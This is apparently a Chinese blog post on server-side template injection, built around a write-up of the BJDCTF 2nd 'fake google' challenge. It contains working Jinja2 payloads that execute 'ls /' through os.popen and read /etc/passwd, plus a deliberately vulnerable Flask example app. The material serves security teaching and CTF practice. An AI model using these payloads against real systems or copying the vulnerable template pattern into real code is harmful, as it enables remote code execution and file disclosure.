• ssti注入(服务器模板注入) && BJDCTF 2nd fake google


    参考链接:

    https://www.cnblogs.com/buchuo/p/12559408.html

    https://www.cnblogs.com/tiaopidejun/p/12357245.html

    https://www.cnblogs.com/gzs-monkey/p/10727330.html#autoid-0-0-0

    0x00:SSTI介绍

    ssti注入又称服务器端模板注入攻击(Server-Side Template Injection),和sql注入一样,也是由于接受用户输入而造成的安全问题。

    它的实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题。

    这个问题主要是出在web应用模板渲染的过程中,目前比较流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity

    百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

    0x01:测试方法

    BJDCTF 2nd fake google

    输入任何东西,都会显示在页面上

    <script>alert('1')</script> 还有XSS但没用

    测试payload

    ?name={{2*3}}
    ?name={{1+2}}  //这个需要把 + URL编码一下  即 {{1%2b2}}
    

    目录

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
    

     python3 读取文件

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
    

     

    ssti注入工具

    https://github.com/epinna/tplmap  

    一题:https://blog.csdn.net/qq_40827990/article/details/82940894

    python  OS 模块执行命令

    简单的漏洞测试代码

    from flask import Flask, request
    from jinja2 import Environment
    
    app = Flask(__name__)
    Jinja2 = Environment()
    
    @app.route("/page")
    def page():
    
        name = request.values.get('name')
        
        # SSTI VULNERABILITY
        # The vulnerability is introduced concatenating the
        # user-provided `name` variable to the template string.
        output = Jinja2.from_string('Hello ' + name + '!').render()
        
        # Instead, the variable should be passed to the template context.
        # Jinja2.from_string('Hello {{name}}!').render(name = name)
    
        return output
    
    if __name__ == "__main__":
        app.run(host='0.0.0.0', port=80)
    

    1

  • 相关阅读:
    面向对象串讲
    昨日回顾
    socketserver模块
    今日总结
    在centos6.5-64bit上安装wxHexEditor,以查看编译二进制文件
    spring security 关于 http.sessionManagement().maximumSessions(1);的探究
    spring boot + spring security +前后端分离【跨域】配置 + ajax的json传输数据
    window10 查看端口列表
    spring boot 解决 跨域 的两种方法 -- 前后端分离
    spring security 动态 修改当前登录用户的 权限
  • 原文地址:https://www.cnblogs.com/liqik/p/13288098.html
Copyright © 2020-2023  润新知